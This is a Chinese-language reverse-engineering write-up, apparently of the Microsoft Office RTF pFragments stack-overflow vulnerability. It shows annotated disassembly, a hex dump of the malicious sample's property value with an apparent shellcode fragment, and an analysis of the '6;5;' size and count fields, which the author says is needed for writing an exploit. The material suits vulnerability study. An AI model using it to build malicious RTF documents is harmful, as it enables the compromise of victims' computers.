0011fe10 31624130 41326241 62413362 35624134 0x62413961
.....

  触发异常的指令(0x32cf3814)所在函数是sub_32CF3807,其父函数为sub_32E5941B,由于栈已被破坏,所以无法再回溯。通过IDA及sub_32E5941B的返回地址(0x32e595bf),我们可以知道,sub_32E5941B的父函数是sub_32E5955E。通过对这几个函数详细分析,得到的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
*************************************************************************************************

char __userpurge sub_32E5955E@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6)

*************************************************************************************************
.text:32E5955E push ebp ; ebp = 0x0011fe34
.text:32E5955F mov ebp, esp ; ebp = esp = 0x0011fe04
.text:32E59561 sub esp, 14h ; esp = esp-0x14 = 0x0011fe04-0x14 = 0x0011fdf0
.text:32E59564 cmp [ebp+arg_10], 0 ; [ebp+0x18] = [0x0011fe04+0x18] = [0x0011fe1c] = 0x02360818(a6)
.text:32E59568 push edi ; edi = 0x00000000
.text:32E59569 mov edi, eax ; edi = eax = 0x0011ffb8(a1)
.text:32E5956B jnz short loc_32E5957E ; 不为零,跳转,这里跳转
......
.text:32E5957E mov ecx, [edi+8] ; ecx = [edi+8] = [0x0011ffb8+8] = [0x0011ffc0] = 0x001200d8
.text:32E59581 push ebx ; ebx = 0x00000000
.text:32E59582 push esi ; esi = 0x00000000
.text:32E59583 call sub_327A2549 ;
.text:32E59588 push [ebp+arg_4] ; arg3: [ebp+0xc] = [0x0011fe04+0xc] = [0x0011fe10] = 0x00000000(a3)
.text:32E5958B mov esi, [eax+64h] ; esi = [eax+0x64] = [0x001201ac+0x64] = [0x00120210] = 0x066a55e0(对象首地址)
.text:32E5958E and [ebp+var_8], 0 ; [ebp-8] = [0x0011fe04-0x8] = [0x0011fdfc] = 0x00000000
.text:32E59592 mov eax, [esi] ; eax = [esi] = [0x066a55e0] = 0x32a0c8c4(虚表指针)
.text:32E59594 lea ecx, [ebp+var_10] ; ecx = ebp-0x10 = 0x0011fe04-0x10 = 0x0011fdf4 <----(5)
.text:32E59597 push ecx ; arg2: ecx = 0x0011fdf4(目的地址)
.text:32E59598 mov ebx, 5000000h ; ebx = 0x05000000
.text:32E5959D push esi ; arg1: esi = 0x066a55e0(对象首地址)
.text:32E5959E mov [ebp+var_C], ebx ; [ebp-0xc] = [0x0011fe04-0xc] = [0x0011fdf8] = ebx = 0x05000000
.text:32E595A1 call dword ptr [eax+1Ch] ; [eax+0x1c] = [0x32a0c8c4+0x1c] = [0x32a0c8e0] = 0x327c002c(虚函数地址) <----(6)
| |
↓ ↓
.text:327C002C push ebp ; ebp = 0x0011fe04
.text:327C002D mov ebp, esp ; ebp = esp = 0x0011fdd0
.text:327C002F cmp [ebp+Dst], 0 ; [ebp+Dst] = [0x0011fdd0+0xc] = [0x0011fddc] = 0x0011fdf4(a2)(目的地址)
.text:327C0033 jz short loc_327C0054 ; 等于0跳转,这里不跳转
.text:327C0035 mov ecx, [ebp+arg_0] ; ecx = [ebp+8] = [0x0011fdd0+8] = [0x0011fdd8] = 0x066a55e0(对象首地址)
.text:327C0038 mov eax, [ecx+0Ch] ; eax = [ecx+0xc] = [0x066a55e0+0xc] = [0x066a55ec] = 0x0004c8ac(成员变量,复制数据长度)
.text:327C003B and eax, 0FFFFh ; eax = eax & 0xFFFF = 0x0004c8ac&0xFFFF = 0xc8ac
.text:327C0040 push eax ; Size ; arg3复制数据长度: eax = 0xc8ac
.text:327C0041 imul eax, [ebp+arg_8] ; eax = eax*[0x0011fdd0+0x10] = 0xc8ac*0x0 = 0x0
.text:327C0045 add eax, [ecx+10h] ; eax = eax+[0x066a55e0+0x10] = 0x0+0x1d400000 = 0x1d400000
.text:327C0048 push eax ; Src ; arg2源地址: eax = 0x1d400000
.text:327C0049 push [ebp+Dst] ; Dst ; arg1目的地址: [ebp+0xc] = [0x0011fdd0+0xc] = [0x0011fddc] = 0x0011fdf4(a2)
.text:327C004C call memcpy ; 0x0012c6a0 - 0x0011fdf4 = 0xc8ac未出现非法内存访问,栈已被破坏
.text:327C0051 add esp, 0Ch ; esp = esp+0xc = 0x0011fdc4+0xc = 0x0011fdd0
.text:327C0054 pop ebp ; ebp = 0x0011fe04
.text:327C0055 retn 0Ch ; esp -> 0x32e595a4(返回地址)
| |
↓ ↓
.text:32E595A4 mov eax, [ebp+arg_C] ; eax = [ebp+0x14] = [0x0011fe18] = 0x41326241(a5)
.text:32E595A7 push [ebp+arg_10] ; arg4: [ebp+0x18] = [0x0011fe1c] = 0x62413362(a6)
.text:32E595AA neg eax ; 按位取反再加1,eax = 0xbecd9dbf
.text:32E595AC sbb eax, eax ; 带借位减法,eax = eax-eax-cf = 0xffffffff
.text:32E595AE lea ecx, [ebp+var_8] ; ecx = ebp-8 = 0x0011fe04-8 = 0x0011fdfc
.text:32E595B1 and eax, ecx ; eax = eax&ecx = 0x0011fdfc
.text:32E595B3 push eax ; arg3: eax = 0x0011fdfc
.text:32E595B4 push [ebp+arg_0] ; arg2: [ebp+8] = [0x0011fe04+8] = [0x0011fe0c] = 0x41386141(a2)
.text:32E595B7 push [ebp+var_10] ; arg1: [ebp-0x10] = [0x0011fe04-0x10] = [0x0011fdf4] = 0x41306141(pFragments属性起始数据) <----(4)
.text:32E595BA call sub_32E5941B ;
.text:32E595BF test al, al
| |
↓ ↓
****************************************************************************************

char __userpurge sub_32E5941B@<al>(int a1@<edi>, int a2, int a3, int a4, int a5)

****************************************************************************************
.text:32E5941B push ebp ; ebp = 0x0011fe04
.text:32E5941C mov ebp, esp ; ebp = esp = 0x0011fdcc
.text:32E5941E push ecx ; ecx = 0x0011fdfc
.text:32E5941F push ecx ; ecx = 0x0011fdfc
.text:32E59420 push ebx ; ebx = 0x05000000
.text:32E59421 xor ebx, ebx ; ebx = ebx^ebx = 0x00000000
.text:32E59423 cmp [ebp+arg_C], ebx ; [ebp+0x14] = [0x0011fdcc+0x14] = [0x0011fde0] = 0x62413362(a5)
.text:32E59426 jnz short loc_32E59439 ; 不为零跳转,这里跳转
.text:32E59428 push 33757061h
.text:32E5942D call sub_32E6AEA8
.text:32E59432
.text:32E59432 loc_32E59432:
.text:32E59432 xor al, al
.text:32E59434
.text:32E59434 loc_32E59434:
.text:32E59434 pop ebx
.text:32E59435 leave
.text:32E59436 retn 10h
.text:32E59439 ; ---------------------------------------------------------------------------
.text:32E59439
.text:32E59439 loc_32E59439:
.text:32E59439 cmp [ebp+arg_0], ebx ; [ebp+0x8] = [0x0011fdcc+0x8] = [0x0011fdd4] = 0x41306141(a2)
.text:32E5943C mov [ebp+var_8], ebx ; [ebp-8] = [0x0011fdcc-8] = [0x0011fdc4] = 0x0011fdfc
.text:32E5943F jz short loc_32E59451 ; 等于0跳转,这里不跳转
.text:32E59441 push [ebp+arg_0] ; arg2: [ebp+8] = [0x0011fdcc+8] = [0x0011fdd4] = 0x41306141(a2) <----(3)
.text:32E59444 lea eax, [ebp+var_8] ; eax = ebp-8 = 0x0011fdc4
.text:32E59447 push eax ; arg1: eax = 0x0011fdc4
.text:32E59448 call sub_32CF3807 ;
.text:32E5944D test eax, eax ;
| |
↓ ↓
**************************************************

int __stdcall sub_32CF3807(int a1, int a2)

**************************************************
.text:32CF3807 push ebp ; ebp = 0x0011fdcc
.text:32CF3808 mov ebp, esp ; ebp = esp = 0x0011fdb0
.text:32CF380A mov eax, [ebp+arg_4] ; eax = [0x0011fdb0+0xc] = [0x0011fdbc] = 0x41306141(a2) <----(2)
.text:32CF380D lea eax, loc_32CF3820[eax*8] ; eax = eax*8+0x32CF3820 = 0x3c524228
.text:32CF3814 mov ecx, [eax+4] ; ecx = [0x3c524228+4] = [0x3c52422c] = ???????? 不可访问 <----(1)
.text:32CF3817 and ecx, 0FFh
.text:32CF381D push ecx
.text:32CF381E push dword ptr [eax]
.text:32CF3820 loc_32CF3820: ; DATA XREF: sub_32CF3807+6↑o
.text:32CF3820 push [ebp+arg_0]
.text:32CF3823 call sub_326CC86E
.text:32CF3828 pop ebp
.text:32CF3829 retn 8

  根据以上结果,我们可以知道,此异常是因为栈上的数据已经被破坏了之后,重新读取被破坏区域的栈数据,计算出一个不可访问的地址,并对其进行读取,造成非法内存访问。在函数sub_32E5955E中,通过0x066a55e0处的对象,调用了虚函数sub_327C002C,在这个虚函数中通过memcpy函数将样本中pFragments属性的值复制到上,但并未检查其复制长度,造成了栈溢出。pFragments属性数据的源地址复制数据长度都已经解析完成,并保存在0x066a55e0处的对象成员变量中。pFragments属性数据在上的起始地址0x0011fdf4,而复制数据的长度为0xc8ac,0x0011fdf4+0xc8ac=0x0012c6a0小于0x00130000,所以没像在Windows XP中那样,在复制数据过程中就触发异常,而是在访问被破坏的栈数据后,造成非法内存访问

0x33 pFragments属性数据“6;5;”的含义及其合法值

环境:Win7&Office2007

  这个点,我看网上的分析文章都没有介绍到,也可能有人写了,我没找到。如果没弄清楚这个,就无法成功编写利用程序,我们需要注意每一个细节,才能最终成功利用一个漏洞。

  在RTF v1.9.1版本的参考文档中(Document Area->Drawing Objects->Drawing Object Properties->Geometry),是这样介绍的:

Property Meaning Type of value Default
pFragments Fragments are optional, additional parts to the shape. They allow the shape to contain multiple paths and parts. This property lists the fragments of the shape. Array Null

  Fragments是可选的,形状的附加部分。它们允许形状包含多个路径部件。此属性列出形状的Fragments。其属性值是一个Array,默认值为Null

  数组的格式为由分号分隔的数字序列第一个数字表示数组中每个元素的大小(以字节为单位)。每个元素的字节数可以是2、4或8。当元素的大小为8时,每个元素表示为一组两个数字,但是根据下面的分析,每组数字使用的括号为"()",而非"{}"第二个数字表示数组中的元素数。 例如,方形多边形的点可以写为:

1
{sv 8;4;{0,0};{100,0};{100,100};{0,100}}

  这里已经说得比较清楚了,但是这些还不够,我们还需要通过具体的程序来进一步理解。我们需要找到程序中处理这部分的代码,仔细阅读。怎么找到,成为了一个新问题。

找关键位置所用方法:

  • 1、前面调试时,关键对象的地址为0x066a55e0,但是每次重新调试,这个对象的位置都会改变,也有可能之前的调试分配一样的地址。
  • 2、在Attach目标程序后,对0x066a55e0对象的前0x10字节内存下内存写断点(0x066a55e0的第一个dword虚表指针0x066a55ec复制长度0xc8ac所在对象成员变量的内存地址)。
  • 3、再运行程序,如果已经执行到之前调试奔溃时代码区域的最顶层函数sub_32E5955E,还未断下来,则关闭调试器,重新再来一遍
  • 4、直到某一次程序对关键对象的地址分配到0x066a55e0,则会断在对关键对象初始化的位置,这时栈窗口会出现"pFragments""11111111acc8d9e9bdbfaf3c......"的字样,此时的代码就是Office处理"pFragments"属性值的代码片段。
  • 5、然后根据调用堆栈,可以找到当前函数地址,以及当前函数的调用地址,及其父函数等等。

  如此,我们就已经找到处理"pFragments"属性值的代码片段。对“6;5;”的处理代码应该就在附近,我们对找到的代码片段进行详细分析,本次调试记录中的关键对象地址为0x05D755C8,在MSO_379得到分配,画“<----”的为关键位置,处理后的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
*******************************************

所属模块: wwlib.dll
int __stdcall sub_31FD724E(int *a1)

*******************************************
.text:31FD724E push ebp ; ebp = 0x0011DD20
.text:31FD724F mov ebp, esp ; ebp = esp = 0x0011B268
.text:31FD7251 sub esp, 64h ; esp = esp-0x64 = 0x0011B204
.text:31FD7254 push ebx ; ebx = 0x00594264
.text:31FD7255 push esi ; esi = 0x05D66800
.text:31FD7256 mov esi, [ebp+arg_0] ; esi = [ebp+8] = [0x0011B268+8] = [0x0011B270] = 0x00594264(a1) <----
.text:31FD7259 mov ebx, [esi] ; ebx = [esi] = [0x00594264] = 0x02340000 <----
.text:31FD725B and [ebp+arg_0], 0 ; [ebp+8]&0 = 0x00594264&0 = 0x0
.text:31FD725F push edi ; edi = 0x020B4500,ASCII "pFragments"
.text:31FD7260 mov edi, [ebx+8Ch] ; edi = [ebx+0x8c] = [0x0234008c] = 0x05D66800
.text:31FD7266 push 0 ; arg2: 0
.text:31FD7268 push edi ; arg1: edi = 0x05D66800(对象首地址)
.text:31FD7269 mov [ebp+var_10], ebx ; [ebp-0x10] = [0x0011B258] = 0x02340000
.text:31FD726C call sub_312C7431 ;
.text:31FD7271 mov edi, [edi+556h] ; edi = [edi+0x556] = [0x05D66D56] = 0x020D0E00(对象首地址)
.text:31FD7277 mov eax, [ebx+761Ch] ; eax = [ebx+0x761] = [0x02340761] = 0x05D7E120
.text:31FD727D lea ecx, [ebp+var_64] ; ecx = ebp-0x64 = 0x0011B268-0x64 = 0x0011B204
.text:31FD7280 push ecx ; arg3: ecx = 0x0011B204
.text:31FD7281 push dword ptr [ebx+7670h] ; arg2: [ebx+0x7670] = [0x02347670] = 0x020B4500,ASCII "pFragments" <----
.text:31FD7287 mov [ebp+var_14], eax ; [ebp-0x14] = [0x0011B254] = eax = 0x05D7E120
.text:31FD728A mov eax, [edi] ; eax = [edi] = [0x020D0E00] = 0x329D4ED4(虚表指针)
.text:31FD728C push edi ; arg1: edi = 0x020D0E00(对象首地址)
.text:31FD728D mov [ebp+var_18], edi ; [ebp-0x18] = [0x0011B250] = edi = 0x020D0E00(对象首地址)
.text:31FD7290 call dword ptr [eax+158h] ; [eax+0x158] = [0x329D4ED4+0x158] = [0x329D502C] = 0x329202C7(虚函数地址)
| |
↓ ↓
*****************************************************************************

所属模块: mso.dll
signed int __stdcall sub_329202C7(int a1, const CHAR *a2, _DWORD *a3)

*****************************************************************************
.text:329202C7 push ebp ; ebp = 0x0011B268
.text:329202C8 mov ebp, esp ; ebp = esp = 0x0011B1E4
.text:329202CA push [ebp+arg_4] ; arg3: [ebp+0xc] = [0x0011B1E4+0xC] = [0x0011B1F0] = 0x020B4500(a2),ASCII "pFragments"
.text:329202CD push 1 ; arg2: 0x1
.text:329202CF call MSO_7788 ;
| |
↓ ↓
.text:32604566 mov eax, dword_33426764 ; eax = [0x33426764] = 0x32600000(ImageBase)
.text:3260456B retn ;
| |
↓ ↓
.text:329202D4 push eax ; arg1: eax = 0x32600000(ImageBase)
.text:329202D5 call MSO_763 ; 对"pFragments"进行一些操作,如转化为Unicode,并在前面加上"pFragments"的ASCII形式的长度
.text:329202DA cmp eax, 0FFFFh ;
.text:329202DF jz loc_32D8FCA5 ;
.text:329202E5 push esi ;
.text:329202E6 push edi ;
.text:329202E7 mov edi, [ebp+arg_8] ;
.text:329202EA push eax ;
.text:329202EB mov [edi+14h], eax ;
.text:329202EE call MSO_806 ;
.text:329202F3 push 5 ;
.text:329202F5 pop ecx ;
.text:329202F6 mov esi, eax ;
.text:329202F8 rep movsd ;
.text:329202FA xor eax, eax ;
.text:329202FC pop edi ;
.text:329202FD inc eax ;
.text:329202FE pop esi ;
.text:329202FF
.text:329202FF loc_329202FF:
.text:329202FF pop ebp
.text:32920300 retn 0Ch
| |
↓ ↓
.text:31FD7296 test eax, eax ; eax = 0x1
.text:31FD7298 jz loc_31FD731E ; ; 为0跳转,这里不跳转
.text:31FD729E mov eax, [ebp+var_64] ; eax = [ebp-0x64] = [0x0011B268-0x64] = [0x0011B204] = 0x6
.text:31FD72A1 cmp eax, 11h ; ; eax = 0x6
.text:31FD72A4 ja short loc_31FD72E6 ; ; 大于跳转,这里不跳转
.text:31FD72A6 movzx eax, ds:byte_31FD723C[eax] ; eax = [0x31FD723C+0x6] = [0x31FD7242] = 0x02
.text:31FD72AD jmp ds:off_31FD7210[eax*4] ; ; [0x31FD7210+eax*4] = [0x31FD7218] = 0x319C0556,off_31FD7210为Switch语句跳转表
| |
↓ ↓
.text:319C0556 loc_319C0556:
.text:319C0556 ; jumptable 31FD72AD case 6
.text:319C0556 mov esi, [ebx+7674h] ; esi = [ebx+0x7674] = [0x02347674] = 0x023B0000 <---- (pFragments属性值)
023B0000 36 3B 35 3B 31 31 31 31 31 31 31 31 61 63 63 38 6;5;11111111acc8
023B0010 34 31 36 31 33 30 34 31 36 31 33 31 34 31 36 31 4161304161314161
023B0020 33 32 34 31 36 31 33 33 34 31 36 31 33 34 34 31 3241613341613441
023B0030 36 31 33 35 34 31 36 31 33 36 34 31 36 31 33 37 6135416136416137
023B0040 34 31 36 31 33 38 34 31 36 31 33 39 34 31 36 32 4161384161394162
023B0050 33 30 34 31 36 32 33 31 34 31 36 32 33 32 34 31 3041623141623241
023B0060 36 32 33 33 34 31 36 32 33 34 34 31 36 32 33 35 6233416234416235
023B0070 34 31 36 32 33 36 34 31 36 32 33 37 34 31 36 32 4162364162374162
023B0080 33 38 34 31 36 32 33 39 34 31 36 33 33 30 34 31 3841623941633041
023B0090 36 33 33 31 34 31 36 33 33 32 34 31 36 33 33 33 6331416332416333
023B00A0 34 31 36 33 33 34 34 31 36 33 33 35 34 31 36 33 4163344163354163
023B00B0 33 36 34 31 36 33 33 37 34 31 36 33 33 38 34 31 3641633741633841
.text:319C055C mov eax, esi ; eax = esi = 0x023B0000(pFragments属性值)
.text:319C055E loc_319C055E:
.text:319C055E cmp byte ptr [esi], 3Bh ; [esi] = [0x023B0000] = 0x36 ('6'),3B=';' <---- 截取参数
.text:319C0561 jz loc_315E7ED1 ; 为0跳转,这里不跳转
.text:319C0567 inc esi ; esi = esi+1 = 0x023B0001
.text:319C0568 cmp byte ptr [esi], 0 ; [esi] = [0x023B0001] = 0x3B(';') <----
.text:319C056B jnz short loc_319C055E ; 不为0跳转,这里跳转
| |
↓ ↓
315E7ED1 C606 00 mov byte ptr ds:[esi],0x0 ; [esi] = [0x023B0001] = 0x0
315E7ED4 46 inc esi ; esi = esi+1 = 0x023B0002
315E7ED5 E9 93863D00 jmp wwlib.319C056D ;
| |
↓ ↓
.text:319C056D loc_319C056D:
.text:319C056D push eax ; arg1: eax = 0x023B0000(pFragments属性值)
.text:319C056E call sub_31BAF3C6 ; 判断pFragments的属性数组参数是否合法,合法则由字符转为整型
| |
↓ ↓
******************************************

所属模块: wwlib.dll
int __stdcall sub_31BAF3C6(int a1)

******************************************
.text:31BAF3C6 push ebp ; ebp = 0x0011B268
.text:31BAF3C7 mov ebp, esp ; ebp = esp = 0x0011B1EC
.text:31BAF3C9 push esi ; esi = 0x023B0002
.text:31BAF3CA push [ebp+arg_0] ; arg1: [ebp+8] = [0x0011B1EC+8] = [0x0011B1F4] = 0x023B0000(a1)(pFragments属性值)
.text:31BAF3CD xor esi, esi ; esi = esi^esi = 0x0
.text:31BAF3CF call sub_3203D37F ; 去除'\t'和' ', <----
| |
↓ ↓
************************************************

所属模块: wwlib.dll
_BYTE *__stdcall sub_3203D37F(_BYTE *a1)

************************************************
.text:3203D37F push ebp ; ebp = 0x0011B1EC
.text:3203D380 mov ebp, esp ; ebp = esp = 0x0011B1DC
.text:3203D382 mov eax, [ebp+arg_0] ; eax = [ebp+8] = [0x0011B1E4] = 0x023B0000(a1)(pFragments属性值)
.text:3203D385 loc_3203D385:
.text:3203D385 mov cl, [eax] ; cl = [eax] = [023B0000] = 0x36 ('6')
.text:3203D387 cmp cl, 9 ; cl = 0x36,0x9='\t'
.text:3203D38A jz loc_31602C3A ; 为0则跳转,这里不跳转
.text:3203D390 cmp cl, 20h ; cl = 0x36,0x20=' '
.text:3203D393 jz loc_31602C3A ; 为0则跳转,这里不跳转
.text:3203D399 pop ebp ; ebp = 0x0011B1EC
.text:3203D39A retn 4 ;
| |
↓ ↓
.text:31BAF3D4
.text:31BAF3D4 loc_31BAF3D4:
.text:31BAF3D4 mov cl, [eax] ; cl = [eax] = [023B0000] = 0x36 ('6')
.text:31BAF3D6 cmp cl, 30h ; cl = 0x36,0x30='0' <---- 应大于等于0
.text:31BAF3D9 jnb short loc_31BAF3B4 ; 不小于跳转,这里跳转
| |
↓ ↓
.text:31BAF3B4 loc_31BAF3B4:
.text:31BAF3B4 inc eax ; eax = 0x023B0001
.text:31BAF3B5 cmp cl, 39h ; cl = 0x36,0x39='9' <---- 应小于9
.text:31BAF3B8 ja short loc_31BAF3DB ; 大于跳转,这里不跳转
.text:31BAF3BA imul esi, 0Ah ; esi = esi*0xA = 0x0*0xA = 0x0 <---- 乘10,代表el_size和el_count都是用10进制数表示的
.text:31BAF3BD movzx ecx, cl ; ecx = 0x00000036
.text:31BAF3C0 lea esi, [esi+ecx-30h] ; esi = esi+ecx-0x30 = 6 <---- ASCII值转化为整型
.text:31BAF3C4 jmp short loc_31BAF3D4 ;
| |
↓ ↓
.text:31BAF3D4
.text:31BAF3D4 loc_31BAF3D4:
.text:31BAF3D4 mov cl, [eax] ; cl = [eax] = [0x023B0001] = 0x00
.text:31BAF3D6 cmp cl, 30h ; cl = 0x00,0x30='0'
.text:31BAF3D9 jnb short loc_31BAF3B4 ; 不小于跳转,这里不跳转
.text:31BAF3DB loc_31BAF3DB:
.text:31BAF3DB mov eax, esi ; eax = esi = 0x6 <---- 返回值(pFragments的属性数组参数整型值)
.text:31BAF3DD pop esi ; esi = 0x023B0002
.text:31BAF3DE pop ebp ; ebp = 0x0011B268
.text:31BAF3DF retn 4 ;
| |
↓ ↓
.text:319C0573 mov edi, eax ; edi = eax = 0x6 <---- el_size
.text:319C0575 mov eax, esi ; eax = esi = 0x023B0002
.text:319C0577
.text:319C0577 loc_319C0577:
.text:319C0577 cmp byte ptr [esi], 0 ; [esi] = [0x023B0002] = 0x35('5') <----
.text:319C057A jnz loc_31E269F1 ; 不为0,则跳转,这里跳转
| |
↓ ↓
.text:31E269F1 cmp byte ptr [esi], 3Bh ; [esi] = [0x023B0002] = 0x35('5'),0x3B=';' <---- 截取参数
.text:31E269F4 jz short loc_31E269FC ; 为0,则跳转,这里不跳转
.text:31E269F6 inc esi ; esi = esi+1 = 0x023B0003
.text:31E269F7 jmp loc_319C0577 ;
| |
↓ ↓
.text:31E269FC mov byte ptr [esi], 0 ; [esi] = [0x023B0003] = 0x00
.text:31E269FF inc esi ; esi = esi+1 = 0x023B0004
.text:31E26A00 jmp loc_319C0580 ;
| |
↓ ↓
.text:319C0580 loc_319C0580:
.text:319C0580 push eax ; eax = 0x023B0002
.text:319C0581 call sub_31BAF3C6 ; 判断pFragments的属性数组参数是否合法,合法则由字符转为整型
.text:319C0586 mov [ebp+ppstm], eax ; [ebp-4] = [0x0011B268-4] = [0x0011B264] = eax = 0x5 <---- el_count
.text:319C0589 lea eax, [ebp+var_8] ; eax = ebp-0x8 = 0x0011B268-8 = 0x0011B260
.text:319C058C push eax ; arg2: eax = 0x0011B260
.text:319C058D push edi ; arg1: edi = 0x6 <---- el_size
.text:319C058E call MSO_379 ; [32081B48] = 0x326ccb92 (wwlib.3167D1C7)
| |
↓ ↓
************************************************************

所属模块: mso.dll
signed int __stdcall MSO_379(__int16 a1, _DWORD *a2)

************************************************************
.text:326CCB92 push ebp ; ebp = 0x0011B268
.text:326CCB93 mov ebp, esp ; ebp = esp = 0x0011B1E8
.text:326CCB95 push esi ; arg2: esi = 0x023B0004 ASCII "11111111acc8d9e9bdbfaf3c99d97424f45b33c9b13183ebfc316b14036bab4dc9653b133296bb74ba738ab4d8f0bc04aa55"
.text:326CCB96 push 18h ; arg1: 0x18
.text:326CCB98 call _MsoPvAllocCore@4 ; MsoPvAllocCore(x)
.text:326CCB9D test eax, eax ; eax = 0x05D755C8,(UNICODE "Description")(关键对象首地址) <---- 给关键对象分配内存
.text:326CCB9F jz loc_32C9662C ; 为0跳转,这里不跳转
.text:326CCBA5 mov dword ptr [eax], mso.32A0C8C4 ; [eax] = [0x05D755C8] = 0x32A0C8C4(虚表指针) <---- 关键对象的虚表指针
.text:326CCBAB mov esi, eax ; esi = eax = 0x05D755C8(关键对象首地址)
.text:326CCBAD
.text:326CCBAD loc_326CCBAD:
.text:326CCBAD test esi, esi ; esi = 0x05D755C8(关键对象首地址)
.text:326CCBAF jz loc_32C96633 ; 为0跳转,这里不跳转
.text:326CCBB5 mov ax, [ebp+arg_0] ; ax = [ebp+8] = [0x0011B1E8+8] = [0x0011B1F0] = 0x0006(a1)
.text:326CCBB9 push 4 ; arg3: 4
.text:326CCBBB mov [esi+0Ch], ax ; [esi+0xc] = [0x05D755C8+0xc] = [0x05D755D4] = 0x0006 <---- el_size保存到关键对象的第4个dword
.text:326CCBBF push 4 ; arg2: 4
.text:326CCBC1 lea eax, [esi+4] ; eax = esi+4 = 0x05D755C8+4 = 0x05D755CC
.text:326CCBC4 push eax ; arg1: eax = 0x05D755CC
.text:326CCBC5 call MSO_501 ;
| |
↓ ↓
****************************************************************

所属模块: mso.dll
signed int __stdcall MSO_501(int a1, __int16 a2, int a3)

****************************************************************
.text:326098B5 push ebp ; ebp = 0x0011B1E8
.text:326098B6 mov ebp, esp ; ebp = esp = 0x0011B1D0
.text:326098B8 push 0 ; arg4: 0
.text:326098BA push [ebp+arg_8] ; arg3: [ebp+0x10] = [0x0011B1E0] = 0x00000004(a3)
.text:326098BD push [ebp+arg_4] ; arg2: [ebp+0xc] = [0x0011B1DC] = 0x00000004(a2)
.text:326098C0 push [ebp+arg_0] ; arg1: [ebp+0x8] = [0x0011B1D8] = 0x05D755CC(a1)
.text:326098C3 call sub_32608E17 ;
| |
↓ ↓
*****************************************************************************

所属模块: mso.dll
signed int __stdcall sub_32608E17(int a1, __int16 a2, int a3, int a4)

*****************************************************************************
.text:32608E17 push ebp ; ebp = 0x0011B1D0
.text:32608E18 mov ebp, esp ; ebp = esp = 0x0011B1B8
.text:32608E1A push esi ; esi = 0x05D755C8(关键对象首地址)
.text:32608E1B mov esi, [ebp+arg_0] ; esi = [ebp+0x8] = [0x0011B1C0] = 0x05D755CC(a1)
.text:32608E1E push edi ; edi = 0x00000006 <---- el_size
.text:32608E1F mov edi, [ebp+arg_8] ; edi = [ebp+0x10] = [0x0011B1B8+0x10] = [0x0011B1C8] = 0x00000004(a3)
.text:32608E22 lea eax, [ebp+arg_0] ; eax = ebp+0x8 = 0x0011B1C0(a1地址)
.text:32608E25 push eax ; arg3: eax = 0x0011B1C0(a1地址)
.text:32608E26 movzx eax, word ptr [esi+8] ; eax = [esi+8] = [0x05D755CC+8] = [0x05D755D4] = 0x00000006 <---- el_size
.text:32608E2A push edi ; arg2: edi = 0x00000004
.text:32608E2B push eax ; arg1: eax = 0x00000006 <---- el_size
.text:32608E2C call sub_32608E81
.text:32608E31 test eax, eax ; eax = 0x00000001
.text:32608E33 jz loc_32BD823F ; 为0跳转,这里不跳转
.text:32608E39 mov eax, [ebp+arg_4] ; eax = [ebp+0xc] = [0x0011B1C4] = 0x00000004(a2)
.text:32608E3C movzx ecx, word ptr [esi+8] ; ecx = [esi+8] = [0x05D755CC+8] = [0x05D755D4] = 0x00000006 <---- el_size
.text:32608E40 and eax, 7FFFh ; eax = eax&0x7FFF = 0x00000004
.text:32608E45 shl eax, 10h ; eax = eax<<0x10 = 0x00040000
.text:32608E48 or eax, ecx ; eax = eax or ecx = 0x00040006
.text:32608E4A mov ecx, [ebp+arg_C] ; ecx = [ebp+0x14] = [0x0011B1CC] = 0x00000000(a4)
.text:32608E4D xor edx, edx ; edx = 0x00000000
.text:32608E4F cmp edi, edx ; edi = 0x00000004
.text:32608E51 mov [esi+8], eax ; [esi+8] = [0x05D755CC+8] = [0x05D755D4] = eax = 0x00040006 <---- 关键对象的第4个dword重新赋值
.text:32608E54 lea eax, [esi+0Ch] ; eax = esi+0xc = 0x05D755CC+0xc = 0x05D755D8
.text:32608E57 mov [esi], edx ; [esi] = [0x05D755CC] = edx = 0x00000000
.text:32608E59 mov [esi+4], edx ; [esi+4] = [0x05D755D0] = edx = 0x00000000
.text:32608E5C mov [eax], edx ; [eax] = [0x05D755D8] = edx = 0x00000000
.text:32608E5E mov [esi+10h], ecx ; [esi+0x10] = [0x05D755CC+0x10] = [0x05D755DC] = ecx = 0x00000000
.text:32608E61 jbe short loc_32608E78 ; 不大于跳转,这里不跳转
.text:32608E63 push ecx ; ecx = 0x00000000
.text:32608E64 push eax ; eax = 0x05D755D8
.text:32608E65 push [ebp+arg_0] ; [ebp+8] = [0x0011B1B8+8] = [0x0011B1C0] = 0x18
.text:32608E68 call MSO_234 ;
.text:32608E6D test eax, eax
.text:32608E6F jl loc_32BD823F
.text:32608E75 mov [esi+4], edi ; [0x05D755CC+4] = [0x05D755D0] = 0x4
.text:32608E78
.text:32608E78 loc_32608E78:
